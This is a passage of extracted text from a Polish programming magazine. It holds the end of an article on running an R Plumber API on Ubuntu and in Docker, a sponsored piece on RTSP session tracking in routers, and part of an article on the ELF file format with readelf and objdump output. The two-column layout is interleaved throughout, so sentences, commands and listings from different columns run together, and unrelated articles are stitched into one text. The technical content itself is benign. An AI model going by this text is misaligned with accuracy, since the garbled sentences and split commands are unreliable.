DISTRIB_CODENAME=focal skrypt instalacyjny z poziomu R. Otrzymujemy np. takie komunikaty:
DISTRIB_DESCRIPTION="Ubuntu 20.04.2 LTS"
No package 'libsodium' found
Using PKG_CFLAGS=
Interesować nas tutaj będzie wartość zmiennej DISTRIB_CODENAME, Using PKG_LIBS=-lsodium
----------- ANTICONF ERROR -----------
czyli w naszym przypadku focal. Poleceniem, które musimy teraz Configuration failed because libsodium was not found. Try installing:
dodać do pliku /etc/apt/[Link], będzie: * deb: libsodium-dev (Debian, Ubuntu, etc)
* rpm: libsodium-devel (Fedora, EPEL)
* csw: libsodium_dev (Solaris)
deb [Link] focal-cran40/ * brew: libsodium (OSX)
If libsodium is already installed, check that 'pkg-config' is in your
PATH and PKG_CONFIG_PATH contains a [Link] file. If pkg-config
is unavailable you can set INCLUDE_DIR and LIB_DIR manually via:
Jak widać, nazwa kodowa pojawia się jako element nazwy dystrybu- R CMD INSTALL --configure-vars='INCLUDE_DIR=... LIB_DIR=...'
cji, której będziemy chcieli użyć: focal-cran40/ (odnośnie szczegó- ---------------------------------------------------------------
ERROR: configuration failed for package 'sodium'
łów polecenia deb zobacz [Link]
Zmianę taką można wykonać ręcznie, korzystając z edytora tek-
stu takiego jak vi lub nano, ale można również zrobić to przy pomocy Komunikaty te dotyczą dwóch pakietów: libcurl4-openssl-dev oraz
następującego polecenia: libsodium-dev. Należy je więc zainstalować przy pomocy apt-get:
sudo echo "deb [Link] focal- sudo apt-get install -y libcurl4-openssl-dev libsodium-dev
cran40/" >> /etc/apt/[Link]
Dopiero ta zmiana po kolejnym wywołaniu polecenia instalu- Korzyści z takiego rozwiązania pojawiają się natychmiast, gdy po-
jącego pakiet Plumber przynosi upragniony komunikat: * DONE trzebujemy na tej samej maszynie uruchamiać aplikacje wymagające
(plumber), co ostatecznie kończy zmagania z instalacją. Teraz, po różnych konfiguracji systemu – dzięki kontenerom nie musimy już
przekopiowaniu do jednego z folderów plików, o których wspomina- mieć oddzielnej maszyny (wirtualnej) dla każdej aplikacji różnią-
łem wcześniej (api.R, server.R oraz [Link]), możemy uruchomić cej się istotnie swoimi wymogami od innych – możemy zastosować
API, np. wywołując polecenie: eleganckie i minimalnie obciążające system rozwiązanie oparte na
kontenerach. Korzyści widać też, gdy potrzebujemy dynamicznie
Rscript server.R
zarządzać skalowaniem systemu, zwłaszcza gdy korzystamy z usług
chmurowych, choć nie tylko wtedy (np. gdy platformę Kubernetes
Musimy jeszcze zadbać o to, aby nasz serwer udostępniał światu port stosuje się na serwerach we własnej serwerowni). Kontenery stały
8000, na którym działa API – np. w konfiguracji maszyny wirtualnej się też standardem dostarczania w przypadku wielu usług chmuro-
w aplikacji VirtualBox. Oczywiście możemy do naszego API odwoły- wych, np. AWS opiera budowę swojego flagowego produktu dedy-
wać się z poziomu systemu Ubuntu przez localhost, choćby po to, aby kowanego do uczenia maszynowego (AWS SageMaker) właśnie na
je przetestować. Dockerze. Jest to też najprostszy sposób, gdy chcemy przetestować
funkcjonalność jakiegoś rozwiązania w środowisku chmury – dzięki
CZY MOŻNA PROŚCIEJ? usługom serverless, takim jak np. Elastic Container Service w AWS
czy też Azure Container Instances w Azure, kontener z naszą aplika-
Patrząc na komplikacje związane z konfigurowaniem repozytoriów, cją można umieścić „w usłudze”, tzn. na serwerze, do którego mamy
z których instalowany jest pakiet r-base, można się zastanawiać, czy dostęp tylko przez odpowiedni interfejs platformy chmurowej, co
można to zrobić prościej. I odpowiedź na to pytanie jest twierdzą- zwalnia nas z troszczenia się o cały szereg czynności związanych
ca – okazuje się, że jednym z prostszych sposobów poradzenia sobie z utrzymaniem serwera (np. z aktualizacji oprogramowania i zabez-
z tymi problemami jest zastosowanie kontenerów Dockera. pieczania serwera przez różnego rodzaju zagrożeniami) – robi to za
Czym są kontenery? Można to wyjaśnić, opierając się na porów- nas dostawca chmury. Warto w tym momencie wspomnieć o tym, że
naniu z maszynami wirtualnymi. Maszyny wirtualne udostępniają obecnie dominującym standardem tworzenia i utrzymywania konte-
zwirtualizowaną warstwę sprzętową. Z punktu widzenia systemu nerów jest Docker ([Link] Początkowo narzędzie
operacyjnego mamy sytuację taką samą lub bardzo zbliżoną do tej, to dostępne było jedynie dla systemów Linux i choć obecnie istnieją
w jakiej używalibyśmy bezpośrednio fizycznej maszyny, choć tak nie natywne implementacje dla Windows (od wersji 10) oraz Windows
jest i na jednej fizycznej maszynie działać może wiele wirtualnych. Server (w wersji 2016 i 2019), to nadal, z różnych względów, Docker
Natomiast kontenery są rozwiązaniem pozwalającym zwirtualizować najczęściej jest stosowany w tandemie z jakąś dystrybucją systemu
konfigurację systemów operacyjnych – możemy mieć wiele kontene- Linux pracującą w maszynie wirtualnej.
rów korzystających z tego samego jądra systemu, ale różniących się W naszym przypadku kontenery niosą ze sobą jeszcze jedną ko-
między sobą jego konfiguracją. Schematycznie działanie kontenerów rzyść. Jak za chwilę się przekonamy, dzięki sposobowi, w jaki tworzy
przedstawiono na Rysunku 5. się i zarządza się tzw. obrazami kontenerów (wzorcami pozwalający-
mi na ich utworzenie lub inaczej blueprintami), możliwe jest wyko-
rzystanie już istniejących konfiguracji dostępnych standardowo dla
narzędzia Docker. Jednym z obrazów kontenerów udostępnionych
w ten sposób jest… kontener z pakietem r-base, który jest utrzymy-
wany w dość sprawny sposób, a co za tym idzie – zwykle dostępna
jest ostatnia wersja pakietu (a ściśle rzecz biorąc: ostatnie oficjalne
wydanie oparte na źródłach z CRAN opatrzone jest tagiem latest,
natomiast wszystkie wcześniejsze oficjalne wersje, począwszy od
3.1.2, są opatrzone tagami odpowiadającymi numerowi wersji – zo-
bacz [Link]
Przyjrzyjmy się teraz temu, jak w praktyce przygotować kontener
zawierający interpreter języka R, pozwalający zainstalować potrzebne
nam biblioteki (przede wszystkim Plumber z jej zależnościami) oraz
uruchomić REST API dostępne „z zewnątrz”.
{ [Link] } <19>
PROGRAMOWANIE ROZWIĄZAŃ SERWEROWYCH
szczegółowe instrukcje instalacji Dockera można odnaleźć na stronie Począwszy od drugiej linii pliku Dockerfile, możemy przyjąć, że
[Link] każda linia odpowiadać będzie jednej warstwie obrazu kontenera.
Kontenery w narzędziu Docker, a właściwie obrazy kontenerów, I tak mamy warstwy odpowiedzialne za:
które później służą do utworzenia kontenera, tworzy się poprzez » utworzenie podkatalogu, w którym znajdą się wszystkie potrzeb-
wykonanie specjalnego skryptu konfigurującego umieszczanego ne nam pliki: RUN mkdir -p /usr/local/src/myscripts,
w plikach standardowo nazywanych Dockerfile. W pierwszej kolej- » ustawienie tego podkatalogu jako domyślny katalog roboczy:
ności przeanalizujmy plik w wersji, która realizować będzie instalację WORKDIR /usr/local/src/myscripts,
pakietu r-base dokładnie w takiej postaci jak opisana w poprzednim » ustawienie parametru, który zapewnia, że wszystkie insta-
paragrafie – w Ubuntu. lacje inicjowane przez polecenie apt-get odbywać się będą
bez interakcji z użytkownikiem (jest to o tyle ważne, że
Listing 4. Plik Dockerfile w pierwszej wersji
w czasie budowania obrazu kontenera taka interakcja sta-
FROM ubuntu:focal je się niemożliwa i czasami uniemożliwia wykonanie obrazu):
RUN mkdir -p /usr/local/src/myscripts
WORKDIR /usr/local/src/myscripts ENV DEBIAN_FRONTEND=noninteractive,
ENV DEBIAN_FRONTEND=noninteractive » update pakietów instalowanych przez polecenie apt-get: RUN
RUN apt-get update
RUN apt-get install -y gnupg2 apt-get update,
RUN apt-key adv --keyserver [Link] \
--recv-keys 51716619E084DAB9
» instalację pakietu gunpg2: RUN apt-get install -y gnupg2,
RUN echo \ » instalację klucza potrzebnego do instalacji pakietów z repozyto-
"deb [Link] focal-cran40/" \
>> /etc/apt/[Link] rium na [Link]:
RUN apt-get update \
&& apt-get install -y libcurl4-openssl-dev libsodium-dev r-base RUN apt-key adv --keyserver [Link] --recv-keys
RUN R -e "[Link]('plumber')" 51716619E084DAB9
COPY . /usr/local/src/myscripts
EXPOSE 8000
ENTRYPOINT ["Rscript", "server.R"] » dodanie potrzebnego polecenia do pliku konfigurującego źró-
dła, z których apt-get pobiera pakiety do instalacji: RUN echo
Plik ten umieszczamy w jednym folderze razem z plikami server.R, "deb [Link] fo-
api.R oraz [Link] utworzonym wcześniej przy pomocy skryptu cal-cran40/" >> /etc/apt/[Link],
w pliku train.R, a następnie przechodzimy do tego folderu na pozio- » instalację pakietu r-base oraz pakietów wymaganych przez bi-
mie linii poleceń i uruchamiamy polecenie: bliotekę Plumber:
docker build -t kontenerr . RUN apt-get update && apt-get install -y libcurl4-openssl-dev
libsodium-dev r-base
Możemy zaobserwować, jak Docker kolejno wykonuje zaprogramo-
wane operacje, wykorzystując je do budowania obrazu kontenera, » uruchomienie interpretera języka R i zainstalowanie pakietu
który zostaje opatrzony nazwą (tagiem) kontenerr. Plumber:
Przeanalizujmy plik Dockerfile linia po linii, aby zrozumieć, jak
RUN R -e "[Link]('plumber')"
tworzy się ten obraz.
Zaczynamy od FROM ubuntu:focal, co oznacza, że nasz obraz kon- » skopiowanie wszystkich plików z katalogu, w którym urucho-
tenera będziemy budować, bazując na standardowym obrazie o nazwie mione zostało polecenie budowania obrazu kontenera, do
ubuntu w wersji oznaczonej słowem focal. Zatrzymajmy się w tym folderu roboczego wewnątrz kontenera utworzonego wyżej:
miejscu na moment, aby zrozumieć, co to tak naprawdę oznacza. COPY . /usr/local/src/myscripts,
Obrazy kontenerów są konstruowane poprzez tworzenie kolejnych » otwarcie portu 8000 do komunikacji z zewnątrz: EXPOSE 8000,
warstw1 – każda warstwa obrazu kontenera oznacza pewną konfigu- » ustawienie polecenia Rscript z parametrem server.R jako „punk-
rację, którą można wykorzystać albo do utworzenia kolejnej warstwy, tu wejściowego” kontenera, tzn. jako polecenie uruchamiane wraz z
albo do uruchomienia kontenera. Co więcej – na poziomie każdej utworzeniem kontenera: ENTRYPOINT ["Rscript", "server.R"].
z warstw obraz kontenera można wyeksportować do repozytorium
obrazów kontenerów, a co za tym idzie – po zaimportowaniu obra- Po ukończeniu budowania obrazu jest on od razu gotowy do wyko-
zu z dowolnego repozytorium można go dalej rozszerzyć o kolejne rzystania przy tworzeniu kontenera. Jednak zanim pokażę, jak to zro-
warstwy. I to właśnie będziemy tu robić – rozszerzać zaimportowa- bić, muszę omówić jeszcze jedną kwestię, bo...
ny obraz ze standardową konfiguracją dystrybucji Ubuntu o kolejne
warstwy. To, że nie wskazujemy w żaden sposób źródła, z którego ob-
…PRZECIEŻ MIAŁO BYĆ PROŚCIEJ…
raz ten pobieramy, oznacza, że korzystamy ze standardowego repo-
zytorium obrazów Dockera, w którym znaleźć można ogromną ilość No właśnie. W poprzednim akapicie pokazałem jedynie, jak „opa-
różnorakich konfiguracji, w wielu przypadkach gotowych do użycia, kować” kontenerem instalację, którą wykonaliśmy wcześniej bezpo-
z różnego rodzaju oprogramowaniem (zobacz [Link] średnio w systemie Ubuntu. Już to wprawdzie przydaje się do zaadre-
search?q=&type=image). sowania różnego rodzaju wymogów (np. skalowanie, wyizolowanie
konfiguracji itp.), jednak wcześniej wspomniałem, że dzięki Docke-
1. Po tortach, cebuli i ograch obrazy kontenerów Dockera są kolejną rzeczą, która ma warstwy. ;-) rowi można zadanie, które tu sobie postawiliśmy, zrealizować dużo
TWORZENIE KONTENERA
Tych zagadnień nie będę już poruszał w tym artykule, a wspominam
Przy tworzeniu/uruchamianiu kontenera (niezależnie od tego, który o nich tylko dlatego, aby nie powstało mylne wrażenie, że po utwo-
obraz opisany wyżej zastosujemy) nie ma już kolejnych pułapek, o ile rzeniu kontenera zawierającego wytrenowany model można uznać
pamiętamy o właściwym przypisaniu portów: port, na którym nasłu- projekt za ukończony – zwykle jest to jedynie zamknięcie pewnego
chuje nasze API, musi zostać połączony z portem interfejsu siecio- etapu projektu, a droga do ostatecznego zakończenia prac może być
wego kontenera. Docker umożliwia takie przypisanie przy pomocy jeszcze długa i nie taka prosta, jak mogłoby się wydawać. Jest to jed-
opcji -p lub --publish. Ponadto przy uruchamianiu kontenera do- nak zwykle zadanie dla osób, które nie specjalizują się w uczeniu ma-
brą praktyką, zwłaszcza w fazie developmentu i testów, jest stosowanie szynowym, a w utrzymaniu systemów.
parametru --rm, dzięki któremu Docker automatycznie usuwa kon-
2. W podanym tu przykładzie plik zawierający dane modelu został włączony do obrazu kontenera,
tener po zakończeniu wykonywania zawartego w nim kodu. Dzięki ale dobra praktyka jest taka, że powinno się go przechowywać w innym miejscu i pobierać za każ-
dym razem, gdy kontener jest tworzony z obrazu. Pozwala to modyfikować model bez konieczności
temu oszczędzamy trochę czasu, który inaczej trzeba by poświęcić na modyfikacji całego obrazu – wystarczy tylko zaktualizować plik zawierający sam model i utworzyć
kontener na nowo, co jest zwykle dużo szybsze niż tworzenie obrazu kontenera.
usuwanie zatrzymanych kontenerów z pamięci.
Ostatecznie nasz kontener możemy uruchomić poleceniem:
{ [Link] } <21>
Paweł Sitarz
ICOTERA
SESJA W ROUTERZE
ne połączenia TCP zostanie usunięte i klient nie będzie mógł
Router, scenariusz użycia
wznowić odtwarzania strumienia danych.
Każdy dobrze zna problem ograniczonej puli adresów IP w pro- Limit czasu dla zestawionych połączeń TCP jest określany
tokole wersji 4. Aby temu zapobiec, potrzebne są nam routery, przez parametr nf_conntrack_tcp_timeout_established,
które będą przekształcać nasz publiczny adres IP na lokalny a odliczanie do zera odbywa się w sekundach:
adres IP danego urządzenia. Dzięki temu możemy podłączyć
do sieci Internet wiele urządzeń i obejść ograniczenia związa- # cat /proc/sys/net/netfilter/
{ MATERIAŁ INFORMACYJNY }
tcp_timeout_established. W naszej sytuacji rozwiązanie nie wyszukany obiekt, który jest przypisany dla sesji RTSP tego
jest do końca właściwe. Po pierwsze – nie każdy serwer RTSP wy- klienta. Dane z obiektu zostaną przekształcone na pakiet TCP
syła tego typu żądania. Po drugie – puste żądania mogą być wy- protokołu RTSP i taki pakiet zostanie przekierowany do ser-
syłane w dłuższych odstępach czasu niż to zostało przewidziane wera RTSP. Serwer RTSP odbierze, przetworzy pakiet i wzno-
w parametrze nf_conntrack_tcp_timeout_established. wi transmisję danych.
Mając takie rozwiązanie, nie musimy przejmować się limi-
tem czasu dla połączenia TCP. Gdy klient zatrzyma transmisję
Nasze antidotum: Moduł Conntrack RTSP
danych i upłynie czas dla połączenia TCP, sesja z serwerem
Rozwiązaniem jest stworzenie bazy danych w routerze (a do- RTSP będzie dalej utrzymywana, ponieważ zawieramy wszyst-
kładniej w module RTSP), w którym będą przechowywane kie dane w wyżej opisanym obiekcie. Serwer RTSP nie wie
wszystkie sesje RTSP. Moduł nf_conntrack_rtsp będzie wy- o tym, że na naszym routerze minął czas dla połączenia TCP,
woływany w jądrze Linuxa i będzie analizował każdy pakiet i dalej będzie utrzymywał sesję z klientem do momentu otrzy-
warstwy sieciowej: mania żądania TEARDOWN, które zakończy sesję.
# lsmod
Podsumowanie
nf_nat_rtsp 7843 0 - Live 0xc0532000 (O)
nf_conntrack_rtsp 9141 1 nf_nat_rtsp, Live Wielu z nas zna to uczucie, kiedy po ciężkim dniu chce się
0xc0526000 (O) usiąść wygodnie i odsapnąć przy ulubionym filmie/serialu
na Netflixie/Amazonie/HBO czy innym podobnym serwisie.
Gdy podłączony do routera klient będzie chciał uruchomić Wszystko jest gotowe: napój, popcorn – odpalamy strumień
nową transmisję danych, w module RTSP zostaną przechwy- i… widzimy wrednego throbbera, bo router nie wyrabia z ob-
cone pakiety protokołu RTSP. Następnie moduł RTSP będzie sługą wszystkich urządzeń, które w tym samym czasie próbują
sprawdzał typ żądania pakietu z protokołu RTSP. Jeżeli będzie dobić się do Internetu. I wtedy myślimy: Potrzymajcie piwo,
to żądanie SETUP, zostanie utworzony nowy obiekt, a w nim gdzie jest kod routera… Ja zrobię to lepiej!
zostaną zapisane parametry sesji. Będą one aktualizowane na Otóż w Icotera rozwiązywanie takich problemów jest co-
bieżąco do momentu, aż klient zakończy żądaniem TEAR- dziennością. Naszą misją jest tworzenie najlepszych urządzeń
DOWN odtwarzanie transmisji danych lub zerwie połączenie sieciowych na rynku. Szczycimy się tym, że nasze urządzenia
TCP z serwerem RTSP. oferowane są przez największych dostawców Internetu w Eu-
Przypuśćmy teraz, że klient zatrzyma transmisję na dłuż- ropie i dystansują produkty wielu innych i dużo większych
szą chwilę. Po pewnym czasie nieaktywne połączenie TCP firm. Pracujemy nieustannie, aby każdy mógł się cieszyć do-
zostanie usunięte z jądra Linuxa, a dokładniej z tablicy nieak- skonałym dostępem do Internetu w domu i aby throbbery po-
tywnych połączeń TCP. Po tym zdarzeniu klient będzie chciał szły w zapomnienie.
wznowić transmisję danych. W module RTSP zostanie prze- Brzmi fajnie? Rewelacja! Nie czekaj zatem i czym prędzej
chwycone żądanie PLAY. Na podstawie tego żądania zostanie aplikuj do nas przez stronę: [Link]
{ MATERIAŁ INFORMACYJNY }
PROGRAMOWANIE SYSTEMOWE
#include <stdio.h>
int f(void) { Asemblacja to zmiana programu w asemblerze na instrukcje binarne.
return getchar(); Wynik asemblacji trafia do tzw. pliku obiektowego. Wydając polece-
}
nie z Listingu 6, zostaną utworzone dwa pliki relokowalne (typ pli-
Program po uruchomieniu czeka na pojawienie się dowolnego znaku ku obiektowego). Ich zawartość można oglądać przy użyciu narzędzi
na standardowym wejściu, po czym kończy swoją pracę, zwracając readelf lub objdump.
kod odczytanego znaku lub EOF (End of File) w przypadku błędu lub
Listing 6. Polecenie spowoduje utworzenie plików relokowalnych main.o oraz f.o
końca pliku. Program należy skompilować poleceniem z Listingu 3.
$ gcc -c main.c f.c
Listing 3. Komenda kompilacji programu
$ gcc main.c f.c -no-pie -static -o prog1 Ostatnim etapem jest linkowanie. Zadaniem linkera jest zebranie pli-
ków relokowalnych w całość i utworzenie biblioteki współdzielonej
Flaga -static spowoduje, że GCC utworzy program statyczny, tj. taki, bądź pliku wykonywalnego. Tematu bibliotek współdzielonych nie
który zawiera już wszystkie potrzebne funkcje biblioteczne w sobie. będziemy zgłębiać, a o relokacji będzie mowa w dalszej części artyku-
Będzie przez to większy, ale proces ładowania do pamięci operacyj- łu. Efektem pracy linkera jest plik wykonywalny (Listing 3).
nej znacznie się uprości. Na przykład pominięte zostanie linkowanie
dynamiczne, czyli program zostanie uruchomiony bez udziału [Link]
FORMAT ELF
(man [Link]). Flaga -no-pie (PIE – Position Independent Executable)
spowoduje, że kod wygenerowany przez GCC będzie musiał znaleźć się ELF jest formatem plików obiektowych, jednym z wielu dostępnych,
pod wybranym przez linker adresem w pamięci. Jeśli stałoby się inaczej, jednak chyba najbardziej popularnym ze względu na oferowane moż-
to program stosunkowo szybko zakończyłby swoje działanie, ponieważ liwości. Pliki obiektowe to pliki zawierające oprócz kodu programu
adresy bezwzględne występujące jawnie w kodzie nie wskazywałyby na dodatkowe dane, użyteczne dla linkera, systemu operacyjnego czy
poprawne miejsca w pamięci. Innymi słowy, poprawność działania pro- debuggera – zależnie od aktualnych potrzeb.
gramu jest [Link]. determinowana przez jego położenie w pamięci. A czy kodu nie można tak po prostu zacząć wykonywać, bez
Kompilacja programu to w zasadzie skrót myślowy. W istocie żadnego przygotowania? Gdyby wszystkie projekty składały się
proces zamiany postaci tekstowej programu na plik wykonywalny z pojedynczego pliku źródłowego, programy byłyby linkowane wraz
składa się z etapów. Są to preprocessing, kompilacja, asemblacja i lin- ze wszystkimi zależnościami, nie istniałyby biblioteki statyczne ani
kowanie – zawsze w tym porządku. współdzielone, a systemy operacyjne składałyby się wyłącznie z nie-
skończonej pętli, to na zadane pytanie być może dałoby się odpowie- b: 48 89 75 f0 mov %rsi,-0x10(%rbp)
dzieć twierdząco. f: e8 00 00 00 00 call 14 <main+0x14>
14: c9 leave
Format ELF został pomyślany tak, żeby był możliwie ogólny 15: c3 ret
oraz niezależny od platformy sprzętowej. Ma on nieskomplikowaną
strukturę i jest łatwo rozszerzalny. Służy do opisu aplikacji systemo- Patrząc od lewej, kolorem pomarańczowym został zaznaczony opco-
wych, bibliotek statycznych i współdzielonych, plików obiektowych, de instrukcji skoku, tj. 0xe8. Kolejne 4 bajty, zaznaczone na niebie-
powstałych w wyniku kompilacji źródeł projektu, zrzutów pamięci sko, przeznaczone są na argument. Procesor interpretuje tę wartość
i innych. Wyróżnia się trzy typy plików obiektowych. jako offset względem następnej instrukcji, o który trzeba przesunąć
Pierwszy typ to tzw. plik relokowalny, który zawiera kod i dane licznik programu (PC), wykonując skok. Aktualnie znajdują się tam
potrzebne przy linkowaniu z innymi plikami obiektowymi, co w re- zera, ponieważ asembler nie znalazł nic na temat f(). Wykonanie in-
zultacie prowadzi do utworzenia pliku wykonywalnego albo obiektu strukcji w takiej formie spowodowałoby skok do adresu 0x14 i wyko-
współdzielonego. W skrócie, relokacja to dopasowywanie odwołań do nanie leave. Przechodząc do prawej kolumny, widzimy, że kolorowe
symboli występujących w programie do rzeczywistego ich umiejsco- bajty objdump zastąpił mnemonikiem wraz z argumentem, który po-
wienia. W dalszej części artykułu wrócimy jeszcze do tematu relokacji. krywa się z tym wyliczonym przez nas.
Kolejnym typem jest plik współdzielony z kodem i danymi nada- Następnie przechodzimy do deasemblacji programu prog1, żeby
jący się do linkowania w dwóch scenariuszach. Pierwszy dotyczy sy- zaobserwować, jak relokacja wpłynęła na kod programu. W Listingu 9
tuacji, kiedy linker połączy go wraz z innymi plikami relokowalnymi znajdują się wyniki deasemblacji funkcji odpowiednio main() oraz f().
bądź współdzielonymi i powstanie z tego nowy plik obiektowy. Drugi
Listing 9. Wynik deasemblacji funkcji main() oraz f()
scenariusz natomiast występuje, kiedy dynamiczny linker wspomaga
system operacyjny w ładowaniu zależności pliku wykonywalnego. $ objdump --disassemble=main prog1
Ostatnim typem jest plik wykonywalny, czyli taki, który system prog1: file format elf64-x86-64
operacyjny umieszcza w pamięci i uruchamia, dlatego też dalsze roz- Disassembly of section .init:
Disassembly of section .plt:
ważania dotyczące ELF oprzemy właśnie na nim. Disassembly of section .text:
00000000004017e5 <main>:
4017e5: 55 push %rbp
Przykład prostej relokacji 4017e6: 48 89 e5 mov %rsp,%rbp
4017e9: 48 83 ec 10 sub $0x10,%rsp
4017ed: 89 7d fc mov %edi,-0x4(%rbp)
Co prawda mechanizm relokacji nie jest bezpośrednio tematem ar- 4017f0: 48 89 75 f0 mov %rsi,-0x10(%rbp)
tykułu, ale jest na tyle ważny, że mimo wszystko warto, przynajmniej 4017f4: e8 02 00 00 00 call 4017fb <f>
4017f9: c9 leave
ogólnie, prześledzić jego sposób działania. W tym celu posłużymy się 4017fa: c3
źródłami programu z dwóch pierwszych listingów. $ objdump --disassemble=f prog1
Stwórzmy pliki obiektowe oraz wynikowy, używając poleceń z Li- prog1: file format elf64-x86-64
stingu 7.
Disassembly of section .init:
Disassembly of section .plt:
Listing 7. Asemblacja oraz generowanie pliku wykonywalnego Disassembly of section .text:
Disassembly of section .text: Relocation section '.[Link]' at offset 0x190 contains 1 entry:
{ [Link] } <25>
PROGRAMOWANIE SYSTEMOWE
Typ relokacji, zawsze zależny od architektury procesora, określa, pierwsza instrukcja po załadowaniu do pamięci znajdzie się pod ad-
jak należy wyliczyć argument instrukcji, w naszym przypadku jest resem 0x4016c0. Znaczenia wielu pozycji z listy można się domyślić.
to call. Dla typu R_X86_64_PLT32 będzie to wyrażenie L + A - P. Niektóre z nich, jak sekcje czy segmenty będące podstawowym bu-
L to adres funkcji f(), tj. 0x4017fb. A to stała, którą należy dodać dulcem pliku ELF, wymagają komentarza.
do adresu funkcji f() równa -4. P to adres miejsca, które należy Sekcje występują w plikach relokowalnych i bibliotekach współ-
zmienić. U nas będzie to początek main() przesunięty o offset 0x10. dzielonych. Są opcjonalne w przypadku plików wykonywalnych. In-
Podstawiając wartości do wyrażenia, obliczamy 0x4017fb + (-0x04) terpretacja ich zawartości jest zależna od przypisanego im typu. Jed-
- (0x4017e5 + 0x10) = 0x02. Na tym etapie zakończymy dygresję do- ne będą składały się z nazw występujących w pliku (typ SHT_STRTAB),
tyczącą relokacji, bo ten szeroki temat nadaje się na osobny artykuł. inne będą zawierały informacje dotyczące relokacji (typ SHT_REL),
a jeszcze inne będą tylko sygnalizowały potrzebę utworzenia miejsca
w przestrzeni adresowej procesu (typ SHT_NOBITS). Spis wszystkich
Format ELF
sekcji jest przechowywany w formie tablicy (Section Header Ta-
Ogólną postać pliku ELF zaprezentowano na Rysunku 1. ble), która składa się ze struktur Elf64_Shdr lub Elf32_Shdr – po
jednym dla każdej istniejącej sekcji. Offset do pierwszej (Start of
section headers) oraz ilość (Number of section headers) znaj-
dują się w nagłówku pliku. W Listingu 12 wymienionych jest kilka
przykładowych.
Sekcja .shstrtab (Section Header String Table), jak sugeruje na-
zwa, zawiera listę nazw sekcji. Nazwy sekcji to zakończone znakiem
NUL łańcuchy znaków. Sekcja .strtab (String Table) jest takiego
samego typu jak poprzednia, jednak w odróżnieniu do niej zawiera
nazwy symboli występujących w pliku. Zawartość dowolnej sekcji
typu SH_STRTAB można podejrzeć, wydając polecenie readelf -p
<section name>. Sekcje .text, .rodata oraz .data zawierają odpo-
wiednio instrukcje programu, zmienne do odczytu oraz zmienne do
odczytu i zapisu. Sekcja .bss jest o tyle ciekawa, że w pliku obiekto-
wym nie zajmuje ona miejsca. Jej obecność to sygnał dla kernela, jak
dużo pamięci wypełnionej zerami trzeba zaalokować na niezainicja-
lizowane zmienne globalne oraz statyczne. Jeśli na przykład w kodzie
programu pojawia się niezainicjalizowana zmienna statyczna, to asem-
Rysunek 1. Format ELF
bler umieści ją właśnie w tej sekcji. .symtab (Symbol Table) to z kolei
sekcja opisująca, gdzie w pliku znajduje się tablica symboli. Każdy
Każdy plik obiektowy rozpoczyna się od nagłówka, który znajduje się element tej tablicy jest typu Elf64_Sym lub Elf32_Sym.
zawsze pod offsetem 0. Informacje zawarte w nagłówku prog1 poka- Listing sekcji jest przedstawiony w formie tabelarycznej. Kolum-
zano w Listingu 11. na [Nr] oznacza numer porządkowy sekcji. Name to nazwa sekcji.
Nazwy sekcji odczytywane są z .shstrtab. Type określa, jaki typ
Listing 11. Nagłówek ELF programu prog1
danych sekcja przechowuje. Jeśli sekcja trafi do pamięci, to wartość
$ readelf -h prog1 wpisana w kolumnie Address określa adres w pamięci. Off i Size to
ELF Header:
Magic: 7f 45 4c 46 02 01 01 03 00 00 00 00 00 00 00 00 odpowiednio offset względem początku pliku oraz wielkość wyrażo-
Class: ELF64 na w bajtach. Kolumna ES dotyczy sekcji składających się ze struktur
Data: 2’s complement, little endian
Version: 1 (current) o jednakowym rozmiarze. Może być to na przykład sekcja zawiera-
OS/ABI: UNIX - GNU
ABI Version: 0
jąca symbole. W wierszu rozpoczynającym się od 29 w omawianej
Type: EXEC (Executable file) kolumnie jest wpisana liczba 0x18, czyli dokładnie tyle, ile zajmuje
Machine: Advanced Micro Devices X86-64
Version: 0x1 struktura opisująca symbol (Elf64_Sym). Kolumna Flg to zestaw
Entry point address: 0x4016c0 flag. Na przykład wartość WA (kombinacja Write, Alloc) oznacza,
Start of program headers: 64 (bytes into file)
Start of section headers: 795048 (bytes into file) że sekcja będzie zajmowała miejsce w pamięci procesu i będzie moż-
Flags: 0x0 na ją modyfikować. Interpretacja Flg oraz Lk zależy od typu sekcji.
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes) Al (Alignment) oznacza, że jeśli sekcja znajdzie się w pamięci, to jej
Number of program headers: 10 adres powinien być wyrównany do tej wartości. Na przykład dla sek-
Size of section headers: 64 (bytes)
Number of section headers: 32 cji .data wartość 32 oznacza, że adres sekcji musi być wielokrotno-
Section header string table index: 31 ścią tej liczby.
Sekcje w plikach ELF składają się na segmenty. Są one wykorzy-
Przechodząc po poszczególnych liniach, dowiadujemy się między in- stywane przez kernel na etapie tworzenia obrazu procesu w pamięci.
nymi, że plik jest wykonywalny (EXEC), skompilowany dla procesora Tak jak w przypadku sekcji, do każdego segmentu jest przypisany
o architekturze x86-64 (Advanced Micro Devices X86-64), którego nagłówek programu (Program Header). Nagłówki są trzymane w po-
Section Headers:
[Nr] Name Type Address Off Size ES Flg Lk Inf Al
[ 7] .text PROGBITS 00000000004010e0 0010e0 07ff90 00 AX 0 0 16
[10] .rodata PROGBITS 0000000000482000 082000 01c124 00 A 0 0 32
[21] .data PROGBITS 00000000004ae0e0 0ad0e0 001a50 00 WA 0 0 32
[25] .bss NOBITS 00000000004b0300 0af2f0 0018a0 00 WA 0 0 32
[29] .symtab SYMTAB 0000000000000000 0b04c8 00b268 18 30 732 8
[30] .strtab STRTAB 0000000000000000 0bb730 006920 00 0 0 1
[31] .shstrtab STRTAB 0000000000000000 0c2050 000157 00 0 0 1
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
LOAD 0x000000 0x0000000000400000 0x0000000000400000 0x000538 0x000538 R 0x1000
LOAD 0x001000 0x0000000000401000 0x0000000000401000 0x080b3d 0x080b3d R E 0x1000
LOAD 0x082000 0x0000000000482000 0x0000000000482000 0x026b75 0x026b75 R 0x1000
LOAD 0x0a9908 0x00000000004aa908 0x00000000004aa908 0x0059e8 0x0072b8 RW 0x1000
NOTE 0x000270 0x0000000000400270 0x0000000000400270 0x000040 0x000040 R 0x8
NOTE 0x0002b0 0x00000000004002b0 0x00000000004002b0 0x000044 0x000044 R 0x4
TLS 0x0a9908 0x00000000004aa908 0x00000000004aa908 0x000020 0x000060 R 0x8
GNU_PROPERTY 0x000270 0x0000000000400270 0x0000000000400270 0x000040 0x000040 R 0x8
GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10
GNU_RELRO 0x0a9908 0x00000000004aa908 0x00000000004aa908 0x0036f8 0x0036f8 R 0x1
